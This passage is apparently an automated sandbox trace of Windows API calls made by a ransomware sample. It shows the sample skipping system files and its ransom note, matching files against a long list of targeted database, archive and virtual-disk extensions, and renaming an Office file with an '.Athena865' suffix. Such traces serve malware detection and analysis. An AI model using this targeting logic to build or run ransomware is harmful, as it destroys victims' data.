[0140.547] UnmapViewOfFile (lpBaseAddress=0x2d30000) returned 1 [0140.565] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.565] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.565] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.566] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0140.580] CloseHandle (hObject=0x154) returned 1 [0140.580] CloseHandle (hObject=0x17c) returned 1 [0140.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.588] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXCEL_COL.HXC", cAlternateFileName="EXCEL_~1.HXC")) returned 1 [0140.588] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.588] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.588] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2=".") returned 1 [0140.588] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2="..") returned 1 [0140.588] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2="windows") returned -1 [0140.588] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2="bootmgr") returned 1 [0140.589] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2="temp") returned -1 [0140.589] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2="pagefile.sys") returned -1 [0140.589] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2="boot") returned 1 [0140.589] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2="ids.txt") returned -1 [0140.589] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2="ntuser.dat") returned -1 [0140.589] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2="perflogs") returned -1 [0140.589] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2="MSBuild") returned -1 [0140.589] lstrlenW (lpString="EXCEL_COL.HXC") returned 13 [0140.589] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EXCEL_COL.HXC" | out: lpString1="EXCEL_COL.HXC") returned="EXCEL_COL.HXC" [0140.589] lstrlenW (lpString="EXCEL_COL.HXC") returned 13 [0140.589] lstrlenW (lpString="Athena865") returned 9 [0140.589] lstrcmpiW (lpString1="L_COL.HXC", lpString2="Athena865") returned 1 [0140.589] lstrlenW (lpString=".dll") returned 4 [0140.589] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2=".dll") returned 1 [0140.589] lstrlenW (lpString=".lnk") returned 4 [0140.589] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2=".lnk") returned 1 [0140.589] lstrlenW (lpString=".ini") returned 4 [0140.589] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2=".ini") returned 1 [0140.589] lstrlenW (lpString=".sys") returned 4 [0140.589] lstrcmpiW (lpString1="EXCEL_COL.HXC", lpString2=".sys") returned 1 [0140.589] lstrlenW (lpString="EXCEL_COL.HXC") returned 13 [0140.589] lstrlenW (lpString="bak") returned 3 [0140.589] lstrcmpiW (lpString1="HXC", lpString2="bak") returned 1 [0140.589] lstrlenW (lpString="ba_") returned 3 [0140.589] lstrcmpiW (lpString1="HXC", lpString2="ba_") returned 1 [0140.589] lstrlenW (lpString="dbb") returned 3 [0140.589] lstrcmpiW (lpString1="HXC", lpString2="dbb") returned 1 [0140.589] lstrlenW (lpString="vmdk") returned 4 [0140.590] lstrcmpiW (lpString1=".HXC", lpString2="vmdk") returned -1 [0140.590] lstrlenW (lpString="rar") returned 3 [0140.590] lstrcmpiW (lpString1="HXC", lpString2="rar") returned -1 [0140.590] lstrlenW (lpString="zip") returned 3 [0140.590] lstrcmpiW (lpString1="HXC", lpString2="zip") returned -1 [0140.590] lstrlenW (lpString="tgz") returned 3 [0140.590] lstrcmpiW (lpString1="HXC", lpString2="tgz") returned -1 [0140.590] lstrlenW (lpString="vbox") returned 4 [0140.590] lstrcmpiW (lpString1=".HXC", lpString2="vbox") returned -1 [0140.590] lstrlenW (lpString="vdi") returned 3 [0140.590] lstrcmpiW (lpString1="HXC", lpString2="vdi") returned -1 [0140.590] lstrlenW (lpString="vhd") returned 3 [0140.590] lstrcmpiW (lpString1="HXC", lpString2="vhd") returned -1 [0140.590] lstrlenW (lpString="vhdx") returned 4 [0140.590] lstrcmpiW (lpString1=".HXC", lpString2="vhdx") returned -1 [0140.590] lstrlenW (lpString="avhd") returned 4 [0140.590] lstrcmpiW (lpString1=".HXC", lpString2="avhd") returned -1 [0140.590] lstrlenW (lpString="db") returned 2 [0140.590] lstrcmpiW (lpString1="XC", lpString2="db") returned 1 [0140.590] lstrlenW (lpString="db2") returned 3 [0140.590] lstrcmpiW (lpString1="HXC", lpString2="db2") returned 1 [0140.590] lstrlenW (lpString="db3") returned 3 [0140.590] lstrcmpiW (lpString1="HXC", lpString2="db3") returned 1 [0140.590] lstrlenW (lpString="dbf") returned 3 [0140.590] lstrcmpiW (lpString1="HXC", lpString2="dbf") returned 1 [0140.590] lstrlenW (lpString="mdf") returned 3 [0140.590] lstrcmpiW (lpString1="HXC", lpString2="mdf") returned -1 [0140.590] lstrlenW (lpString="mdb") returned 3 [0140.590] lstrcmpiW (lpString1="HXC", lpString2="mdb") returned -1 [0140.590] lstrlenW (lpString="sql") returned 3 [0140.590] lstrcmpiW (lpString1="HXC", lpString2="sql") returned -1 [0140.591] lstrlenW (lpString="sqlite") returned 6 [0140.591] lstrcmpiW (lpString1="OL.HXC", lpString2="sqlite") returned -1 [0140.591] lstrlenW (lpString="sqlite3") returned 7 [0140.591] lstrcmpiW (lpString1="COL.HXC", lpString2="sqlite3") returned -1 [0140.591] lstrlenW (lpString="sqlitedb") returned 8 [0140.591] lstrcmpiW (lpString1="_COL.HXC", lpString2="sqlitedb") returned -1 [0140.591] lstrlenW (lpString="xml") returned 3 [0140.591] lstrcmpiW (lpString1="HXC", lpString2="xml") returned -1 [0140.591] lstrlenW (lpString="$er") returned 3 [0140.591] lstrcmpiW (lpString1="HXC", lpString2="$er") returned 1 [0140.591] lstrlenW (lpString="4dd") returned 3 [0140.591] lstrcmpiW (lpString1="HXC", lpString2="4dd") returned 1 [0140.591] lstrlenW (lpString="4dl") returned 3 [0140.591] lstrcmpiW (lpString1="HXC", lpString2="4dl") returned 1 [0140.591] lstrlenW (lpString="^^^") returned 3 [0140.591] lstrcmpiW (lpString1="HXC", lpString2="^^^") returned 1 [0140.591] lstrlenW (lpString="abs") returned 3 [0140.591] lstrcmpiW (lpString1="HXC", lpString2="abs") returned 1 [0140.591] lstrlenW (lpString="abx") returned 3 [0140.591] lstrcmpiW (lpString1="HXC", lpString2="abx") returned 1 [0140.591] lstrlenW (lpString="accdb") returned 5 [0140.591] lstrcmpiW (lpString1="L.HXC", lpString2="accdb") returned 1 [0140.591] lstrlenW (lpString="accdc") returned 5 [0140.591] lstrcmpiW (lpString1="L.HXC", lpString2="accdc") returned 1 [0140.591] lstrlenW (lpString="accde") returned 5 [0140.591] lstrcmpiW (lpString1="L.HXC", lpString2="accde") returned 1 [0140.591] lstrlenW (lpString="accdr") returned 5 [0140.591] lstrcmpiW (lpString1="L.HXC", lpString2="accdr") returned 1 [0140.591] lstrlenW (lpString="accdt") returned 5 [0140.591] lstrcmpiW (lpString1="L.HXC", lpString2="accdt") returned 1 [0140.592] lstrlenW (lpString="accdw") returned 5 [0140.592] lstrcmpiW (lpString1="L.HXC", lpString2="accdw") returned 1 [0140.592] lstrlenW (lpString="accft") returned 5 [0140.592] lstrcmpiW (lpString1="L.HXC", lpString2="accft") returned 1 [0140.592] lstrlenW (lpString="adb") returned 3 [0140.592] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0140.592] lstrlenW (lpString="adb") returned 3 [0140.592] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0140.592] lstrlenW (lpString="ade") returned 3 [0140.592] lstrcmpiW (lpString1="HXC", lpString2="ade") returned 1 [0140.592] lstrlenW (lpString="adf") returned 3 [0140.592] lstrcmpiW (lpString1="HXC", lpString2="adf") returned 1 [0140.592] lstrlenW (lpString="adn") returned 3 [0140.592] lstrcmpiW (lpString1="HXC", lpString2="adn") returned 1 [0140.592] lstrlenW (lpString="adp") returned 3 [0140.592] lstrcmpiW (lpString1="HXC", lpString2="adp") returned 1 [0140.592] lstrlenW (lpString="alf") returned 3 [0140.592] lstrcmpiW (lpString1="HXC", lpString2="alf") returned 1 [0140.592] lstrlenW (lpString="ask") returned 3 [0140.592] lstrcmpiW (lpString1="HXC", lpString2="ask") returned 1 [0140.592] lstrlenW (lpString="btr") returned 3 [0140.592] lstrcmpiW (lpString1="HXC", lpString2="btr") returned 1 [0140.592] lstrlenW (lpString="cat") returned 3 [0140.592] lstrcmpiW (lpString1="HXC", lpString2="cat") returned 1 [0140.592] lstrlenW (lpString="cdb") returned 3 [0140.592] lstrcmpiW (lpString1="HXC", lpString2="cdb") returned 1 [0140.592] lstrlenW (lpString="ckp") returned 3 [0140.592] lstrcmpiW (lpString1="HXC", lpString2="ckp") returned 1 [0140.592] lstrlenW (lpString="cma") returned 3 [0140.592] lstrcmpiW (lpString1="HXC", lpString2="cma") returned 1 [0140.593] lstrlenW (lpString="cpd") returned 3 [0140.593] lstrcmpiW (lpString1="HXC", lpString2="cpd") returned 1 [0140.593] lstrlenW (lpString="dacpac") returned 6 [0140.593] lstrcmpiW (lpString1="OL.HXC", lpString2="dacpac") returned 1 [0140.593] lstrlenW (lpString="dad") returned 3 [0140.593] lstrcmpiW (lpString1="HXC", lpString2="dad") returned 1 [0140.593] lstrlenW (lpString="dadiagrams") returned 10 [0140.593] lstrcmpiW (lpString1="EL_COL.HXC", lpString2="dadiagrams") returned 1 [0140.593] lstrlenW (lpString="daschema") returned 8 [0140.593] lstrcmpiW (lpString1="_COL.HXC", lpString2="daschema") returned -1 [0140.593] lstrlenW (lpString="db-journal") returned 10 [0140.593] lstrcmpiW (lpString1="EL_COL.HXC", lpString2="db-journal") returned 1 [0140.593] lstrlenW (lpString="db-shm") returned 6 [0140.593] lstrcmpiW (lpString1="OL.HXC", lpString2="db-shm") returned 1 [0140.593] lstrlenW (lpString="db-wal") returned 6 [0140.593] lstrcmpiW (lpString1="OL.HXC", lpString2="db-wal") returned 1 [0140.593] lstrlenW (lpString="dbc") returned 3 [0140.593] lstrcmpiW (lpString1="HXC", lpString2="dbc") returned 1 [0140.593] lstrlenW (lpString="dbs") returned 3 [0140.593] lstrcmpiW (lpString1="HXC", lpString2="dbs") returned 1 [0140.593] lstrlenW (lpString="dbt") returned 3 [0140.593] lstrcmpiW (lpString1="HXC", lpString2="dbt") returned 1 [0140.593] lstrlenW (lpString="dbv") returned 3 [0140.593] lstrcmpiW (lpString1="HXC", lpString2="dbv") returned 1 [0140.593] lstrlenW (lpString="dbx") returned 3 [0140.593] lstrcmpiW (lpString1="HXC", lpString2="dbx") returned 1 [0140.593] lstrlenW (lpString="dcb") returned 3 [0140.593] lstrcmpiW (lpString1="HXC", lpString2="dcb") returned 1 [0140.593] lstrlenW (lpString="dct") returned 3 [0140.593] lstrcmpiW (lpString1="HXC", lpString2="dct") returned 1 [0140.593] lstrlenW (lpString="dcx") returned 3 [0140.594] lstrcmpiW (lpString1="HXC", lpString2="dcx") returned 1 [0140.594] lstrlenW (lpString="ddl") returned 3 [0140.594] lstrcmpiW (lpString1="HXC", lpString2="ddl") returned 1 [0140.594] lstrlenW (lpString="dlis") returned 4 [0140.594] lstrcmpiW (lpString1=".HXC", lpString2="dlis") returned -1 [0140.594] lstrlenW (lpString="dp1") returned 3 [0140.594] lstrcmpiW (lpString1="HXC", lpString2="dp1") returned 1 [0140.594] lstrlenW (lpString="dqy") returned 3 [0140.594] lstrcmpiW (lpString1="HXC", lpString2="dqy") returned 1 [0140.594] lstrlenW (lpString="dsk") returned 3 [0140.594] lstrcmpiW (lpString1="HXC", lpString2="dsk") returned 1 [0140.594] lstrlenW (lpString="dsn") returned 3 [0140.594] lstrcmpiW (lpString1="HXC", lpString2="dsn") returned 1 [0140.594] lstrlenW (lpString="dtsx") returned 4 [0140.594] lstrcmpiW (lpString1=".HXC", lpString2="dtsx") returned -1 [0140.594] lstrlenW (lpString="dxl") returned 3 [0140.594] lstrcmpiW (lpString1="HXC", lpString2="dxl") returned 1 [0140.594] lstrlenW (lpString="eco") returned 3 [0140.594] lstrcmpiW (lpString1="HXC", lpString2="eco") returned 1 [0140.594] lstrlenW (lpString="ecx") returned 3 [0140.594] lstrcmpiW (lpString1="HXC", lpString2="ecx") returned 1 [0140.594] lstrlenW (lpString="edb") returned 3 [0140.594] lstrcmpiW (lpString1="HXC", lpString2="edb") returned 1 [0140.594] lstrlenW (lpString="epim") returned 4 [0140.594] lstrcmpiW (lpString1=".HXC", lpString2="epim") returned -1 [0140.594] lstrlenW (lpString="fcd") returned 3 [0140.594] lstrcmpiW (lpString1="HXC", lpString2="fcd") returned 1 [0140.594] lstrlenW (lpString="fdb") returned 3 [0140.594] lstrcmpiW (lpString1="HXC", lpString2="fdb") returned 1 [0140.594] lstrlenW (lpString="fic") returned 3 [0140.595] lstrcmpiW (lpString1="HXC", lpString2="fic") returned 1 [0140.595] lstrlenW (lpString="flexolibrary") returned 12 [0140.595] lstrcmpiW (lpString1="XCEL_COL.HXC", lpString2="flexolibrary") returned 1 [0140.595] lstrlenW (lpString="fm5") returned 3 [0140.595] lstrcmpiW (lpString1="HXC", lpString2="fm5") returned 1 [0140.595] lstrlenW (lpString="fmp") returned 3 [0140.595] lstrcmpiW (lpString1="HXC", lpString2="fmp") returned 1 [0140.595] lstrlenW (lpString="fmp12") returned 5 [0140.595] lstrcmpiW (lpString1="L.HXC", lpString2="fmp12") returned 1 [0140.595] lstrlenW (lpString="fmpsl") returned 5 [0140.595] lstrcmpiW (lpString1="L.HXC", lpString2="fmpsl") returned 1 [0140.595] lstrlenW (lpString="fol") returned 3 [0140.595] lstrcmpiW (lpString1="HXC", lpString2="fol") returned 1 [0140.595] lstrlenW (lpString="fp3") returned 3 [0140.595] lstrcmpiW (lpString1="HXC", lpString2="fp3") returned 1 [0140.595] lstrlenW (lpString="fp4") returned 3 [0140.595] lstrcmpiW (lpString1="HXC", lpString2="fp4") returned 1 [0140.595] lstrlenW (lpString="fp5") returned 3 [0140.595] lstrcmpiW (lpString1="HXC", lpString2="fp5") returned 1 [0140.595] lstrlenW (lpString="fp7") returned 3 [0140.595] lstrcmpiW (lpString1="HXC", lpString2="fp7") returned 1 [0140.595] lstrlenW (lpString="fpt") returned 3 [0140.595] lstrcmpiW (lpString1="HXC", lpString2="fpt") returned 1 [0140.595] lstrlenW (lpString="frm") returned 3 [0140.595] lstrcmpiW (lpString1="HXC", lpString2="frm") returned 1 [0140.595] lstrlenW (lpString="gdb") returned 3 [0140.595] lstrcmpiW (lpString1="HXC", lpString2="gdb") returned 1 [0140.595] lstrlenW (lpString="gdb") returned 3 [0140.595] lstrcmpiW (lpString1="HXC", lpString2="gdb") returned 1 [0140.595] lstrlenW (lpString="grdb") returned 4 [0140.595] lstrcmpiW (lpString1=".HXC", lpString2="grdb") returned -1 [0140.596] lstrlenW (lpString="gwi") returned 3 [0140.596] lstrcmpiW (lpString1="HXC", lpString2="gwi") returned 1 [0140.596] lstrlenW (lpString="hdb") returned 3 [0140.596] lstrcmpiW (lpString1="HXC", lpString2="hdb") returned 1 [0140.596] lstrlenW (lpString="his") returned 3 [0140.596] lstrcmpiW (lpString1="HXC", lpString2="his") returned 1 [0140.596] lstrlenW (lpString="ib") returned 2 [0140.596] lstrcmpiW (lpString1="XC", lpString2="ib") returned 1 [0140.596] lstrlenW (lpString="idb") returned 3 [0140.596] lstrcmpiW (lpString1="HXC", lpString2="idb") returned -1 [0140.596] lstrlenW (lpString="ihx") returned 3 [0140.596] lstrcmpiW (lpString1="HXC", lpString2="ihx") returned -1 [0140.596] lstrlenW (lpString="itdb") returned 4 [0140.596] lstrcmpiW (lpString1=".HXC", lpString2="itdb") returned -1 [0140.596] lstrlenW (lpString="itw") returned 3 [0140.596] lstrcmpiW (lpString1="HXC", lpString2="itw") returned -1 [0140.596] lstrlenW (lpString="jet") returned 3 [0140.596] lstrcmpiW (lpString1="HXC", lpString2="jet") returned -1 [0140.596] lstrlenW (lpString="jtx") returned 3 [0140.596] lstrcmpiW (lpString1="HXC", lpString2="jtx") returned -1 [0140.596] lstrlenW (lpString="kdb") returned 3 [0140.596] lstrcmpiW (lpString1="HXC", lpString2="kdb") returned -1 [0140.596] lstrlenW (lpString="kexi") returned 4 [0140.596] lstrcmpiW (lpString1=".HXC", lpString2="kexi") returned -1 [0140.596] lstrlenW (lpString="kexic") returned 5 [0140.596] lstrcmpiW (lpString1="L.HXC", lpString2="kexic") returned 1 [0140.596] lstrlenW (lpString="kexis") returned 5 [0140.596] lstrcmpiW (lpString1="L.HXC", lpString2="kexis") returned 1 [0140.596] lstrlenW (lpString="lgc") returned 3 [0140.596] lstrcmpiW (lpString1="HXC", lpString2="lgc") returned -1 [0140.597] lstrlenW (lpString="lwx") returned 3 [0140.597] lstrcmpiW (lpString1="HXC", lpString2="lwx") returned -1 [0140.597] lstrlenW (lpString="maf") returned 3 [0140.597] lstrcmpiW (lpString1="HXC", lpString2="maf") returned -1 [0140.597] lstrlenW (lpString="maq") returned 3 [0140.597] lstrcmpiW (lpString1="HXC", lpString2="maq") returned -1 [0140.597] lstrlenW (lpString="mar") returned 3 [0140.597] lstrcmpiW (lpString1="HXC", lpString2="mar") returned -1 [0140.597] lstrlenW (lpString="marshal") returned 7 [0140.597] lstrcmpiW (lpString1="COL.HXC", lpString2="marshal") returned -1 [0140.597] lstrlenW (lpString="mas") returned 3 [0140.597] lstrcmpiW (lpString1="HXC", lpString2="mas") returned -1 [0140.597] lstrlenW (lpString="mav") returned 3 [0140.597] lstrcmpiW (lpString1="HXC", lpString2="mav") returned -1 [0140.597] lstrlenW (lpString="maw") returned 3 [0140.597] lstrcmpiW (lpString1="HXC", lpString2="maw") returned -1 [0140.597] lstrlenW (lpString="mdbhtml") returned 7 [0140.597] lstrcmpiW (lpString1="COL.HXC", lpString2="mdbhtml") returned -1 [0140.597] lstrlenW (lpString="mdn") returned 3 [0140.597] lstrcmpiW (lpString1="HXC", lpString2="mdn") returned -1 [0140.597] lstrlenW (lpString="mdt") returned 3 [0140.597] lstrcmpiW (lpString1="HXC", lpString2="mdt") returned -1 [0140.597] lstrlenW (lpString="mfd") returned 3 [0140.597] lstrcmpiW (lpString1="HXC", lpString2="mfd") returned -1 [0140.597] lstrlenW (lpString="mpd") returned 3 [0140.597] lstrcmpiW (lpString1="HXC", lpString2="mpd") returned -1 [0140.597] lstrlenW (lpString="mrg") returned 3 [0140.597] lstrcmpiW (lpString1="HXC", lpString2="mrg") returned -1 [0140.597] lstrlenW (lpString="mud") returned 3 [0140.597] lstrcmpiW (lpString1="HXC", lpString2="mud") returned -1 [0140.598] lstrlenW (lpString="mwb") returned 3 [0140.598] lstrcmpiW (lpString1="HXC", lpString2="mwb") returned -1 [0140.598] lstrlenW (lpString="myd") returned 3 [0140.598] lstrcmpiW (lpString1="HXC", lpString2="myd") returned -1 [0140.598] lstrlenW (lpString="ndf") returned 3 [0140.598] lstrcmpiW (lpString1="HXC", lpString2="ndf") returned -1 [0140.598] lstrlenW (lpString="nnt") returned 3 [0140.598] lstrcmpiW (lpString1="HXC", lpString2="nnt") returned -1 [0140.598] lstrlenW (lpString="nrmlib") returned 6 [0140.598] lstrcmpiW (lpString1="OL.HXC", lpString2="nrmlib") returned 1 [0140.598] lstrlenW (lpString="ns2") returned 3 [0140.598] lstrcmpiW (lpString1="HXC", lpString2="ns2") returned -1 [0140.598] lstrlenW (lpString="ns3") returned 3 [0140.598] lstrcmpiW (lpString1="HXC", lpString2="ns3") returned -1 [0140.598] lstrlenW (lpString="ns4") returned 3 [0140.598] lstrcmpiW (lpString1="HXC", lpString2="ns4") returned -1 [0140.598] lstrlenW (lpString="nsf") returned 3 [0140.598] lstrcmpiW (lpString1="HXC", lpString2="nsf") returned -1 [0140.598] lstrlenW (lpString="nv") returned 2 [0140.598] lstrcmpiW (lpString1="XC", lpString2="nv") returned 1 [0140.598] lstrlenW (lpString="nv2") returned 3 [0140.598] lstrcmpiW (lpString1="HXC", lpString2="nv2") returned -1 [0140.598] lstrlenW (lpString="nwdb") returned 4 [0140.598] lstrcmpiW (lpString1=".HXC", lpString2="nwdb") returned -1 [0140.598] lstrlenW (lpString="nyf") returned 3 [0140.598] lstrcmpiW (lpString1="HXC", lpString2="nyf") returned -1 [0140.598] lstrlenW (lpString="odb") returned 3 [0140.598] lstrcmpiW (lpString1="HXC", lpString2="odb") returned -1 [0140.598] lstrlenW (lpString="odb") returned 3 [0140.598] lstrcmpiW (lpString1="HXC", lpString2="odb") returned -1 [0140.599] lstrlenW (lpString="oqy") returned 3 [0140.599] lstrcmpiW (lpString1="HXC", lpString2="oqy") returned -1 [0140.599] lstrlenW (lpString="ora") returned 3 [0140.599] lstrcmpiW (lpString1="HXC", lpString2="ora") returned -1 [0140.599] lstrlenW (lpString="orx") returned 3 [0140.599] lstrcmpiW (lpString1="HXC", lpString2="orx") returned -1 [0140.599] lstrlenW (lpString="owc") returned 3 [0140.599] lstrcmpiW (lpString1="HXC", lpString2="owc") returned -1 [0140.599] lstrlenW (lpString="p96") returned 3 [0140.599] lstrcmpiW (lpString1="HXC", lpString2="p96") returned -1 [0140.599] lstrlenW (lpString="p97") returned 3 [0140.599] lstrcmpiW (lpString1="HXC", lpString2="p97") returned -1 [0140.599] lstrlenW (lpString="pan") returned 3 [0140.599] lstrcmpiW (lpString1="HXC", lpString2="pan") returned -1 [0140.599] lstrlenW (lpString="pdb") returned 3 [0140.599] lstrcmpiW (lpString1="HXC", lpString2="pdb") returned -1 [0140.599] lstrlenW (lpString="pdm") returned 3 [0140.599] lstrcmpiW (lpString1="HXC", lpString2="pdm") returned -1 [0140.599] lstrlenW (lpString="pnz") returned 3 [0140.599] lstrcmpiW (lpString1="HXC", lpString2="pnz") returned -1 [0140.599] lstrlenW (lpString="qry") returned 3 [0140.599] lstrcmpiW (lpString1="HXC", lpString2="qry") returned -1 [0140.599] lstrlenW (lpString="qvd") returned 3 [0140.599] lstrcmpiW (lpString1="HXC", lpString2="qvd") returned -1 [0140.599] lstrlenW (lpString="rbf") returned 3 [0140.599] lstrcmpiW (lpString1="HXC", lpString2="rbf") returned -1 [0140.599] lstrlenW (lpString="rctd") returned 4 [0140.599] lstrcmpiW (lpString1=".HXC", lpString2="rctd") returned -1 [0140.599] lstrlenW (lpString="rod") returned 3 [0140.599] lstrcmpiW (lpString1="HXC", lpString2="rod") returned -1 [0140.599] lstrlenW (lpString="rodx") returned 4 [0140.600] lstrcmpiW (lpString1=".HXC", lpString2="rodx") returned -1 [0140.600] lstrlenW (lpString="rpd") returned 3 [0140.600] lstrcmpiW (lpString1="HXC", lpString2="rpd") returned -1 [0140.600] lstrlenW (lpString="rsd") returned 3 [0140.600] lstrcmpiW (lpString1="HXC", lpString2="rsd") returned -1 [0140.600] lstrlenW (lpString="sas7bdat") returned 8 [0140.600] lstrcmpiW (lpString1="_COL.HXC", lpString2="sas7bdat") returned -1 [0140.600] lstrlenW (lpString="sbf") returned 3 [0140.600] lstrcmpiW (lpString1="HXC", lpString2="sbf") returned -1 [0140.600] lstrlenW (lpString="scx") returned 3 [0140.600] lstrcmpiW (lpString1="HXC", lpString2="scx") returned -1 [0140.600] lstrlenW (lpString="sdb") returned 3 [0140.600] lstrcmpiW (lpString1="HXC", lpString2="sdb") returned -1 [0140.600] lstrlenW (lpString="sdc") returned 3 [0140.600] lstrcmpiW (lpString1="HXC", lpString2="sdc") returned -1 [0140.600] lstrlenW (lpString="sdf") returned 3 [0140.600] lstrcmpiW (lpString1="HXC", lpString2="sdf") returned -1 [0140.600] lstrlenW (lpString="sis") returned 3 [0140.600] lstrcmpiW (lpString1="HXC", lpString2="sis") returned -1 [0140.600] lstrlenW (lpString="spq") returned 3 [0140.600] lstrcmpiW (lpString1="HXC", lpString2="spq") returned -1 [0140.600] lstrlenW (lpString="te") returned 2 [0140.600] lstrcmpiW (lpString1="XC", lpString2="te") returned 1 [0140.600] lstrlenW (lpString="teacher") returned 7 [0140.600] lstrcmpiW (lpString1="COL.HXC", lpString2="teacher") returned -1 [0140.600] lstrlenW (lpString="tmd") returned 3 [0140.600] lstrcmpiW (lpString1="HXC", lpString2="tmd") returned -1 [0140.600] lstrlenW (lpString="tps") returned 3 [0140.600] lstrcmpiW (lpString1="HXC", lpString2="tps") returned -1 [0140.600] lstrlenW (lpString="trc") returned 3 [0140.601] lstrcmpiW (lpString1="HXC", lpString2="trc") returned -1 [0140.601] lstrlenW (lpString="trc") returned 3 [0140.601] lstrcmpiW (lpString1="HXC", lpString2="trc") returned -1 [0140.601] lstrlenW (lpString="trm") returned 3 [0140.601] lstrcmpiW (lpString1="HXC", lpString2="trm") returned -1 [0140.601] lstrlenW (lpString="udb") returned 3 [0140.601] lstrcmpiW (lpString1="HXC", lpString2="udb") returned -1 [0140.601] lstrlenW (lpString="udl") returned 3 [0140.601] lstrcmpiW (lpString1="HXC", lpString2="udl") returned -1 [0140.601] lstrlenW (lpString="usr") returned 3 [0140.601] lstrcmpiW (lpString1="HXC", lpString2="usr") returned -1 [0140.601] lstrlenW (lpString="v12") returned 3 [0140.601] lstrcmpiW (lpString1="HXC", lpString2="v12") returned -1 [0140.601] lstrlenW (lpString="vis") returned 3 [0140.601] lstrcmpiW (lpString1="HXC", lpString2="vis") returned -1 [0140.601] lstrlenW (lpString="vpd") returned 3 [0140.601] lstrcmpiW (lpString1="HXC", lpString2="vpd") returned -1 [0140.601] lstrlenW (lpString="vvv") returned 3 [0140.601] lstrcmpiW (lpString1="HXC", lpString2="vvv") returned -1 [0140.601] lstrlenW (lpString="wdb") returned 3 [0140.601] lstrcmpiW (lpString1="HXC", lpString2="wdb") returned -1 [0140.601] lstrlenW (lpString="wmdb") returned 4 [0140.601] lstrcmpiW (lpString1=".HXC", lpString2="wmdb") returned -1 [0140.601] lstrlenW (lpString="wrk") returned 3 [0140.601] lstrcmpiW (lpString1="HXC", lpString2="wrk") returned -1 [0140.601] lstrlenW (lpString="xdb") returned 3 [0140.601] lstrcmpiW (lpString1="HXC", lpString2="xdb") returned -1 [0140.601] lstrlenW (lpString="xld") returned 3 [0140.601] lstrcmpiW (lpString1="HXC", lpString2="xld") returned -1 [0140.601] lstrlenW (lpString="xmlff") returned 5 [0140.602] lstrcmpiW (lpString1="L.HXC", lpString2="xmlff") returned -1 [0140.602] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.Athena865") returned 71 [0140.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc.athena865"), dwFlags=0x1) returned 1 [0140.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.Athena865" (normalized: "c:\\program 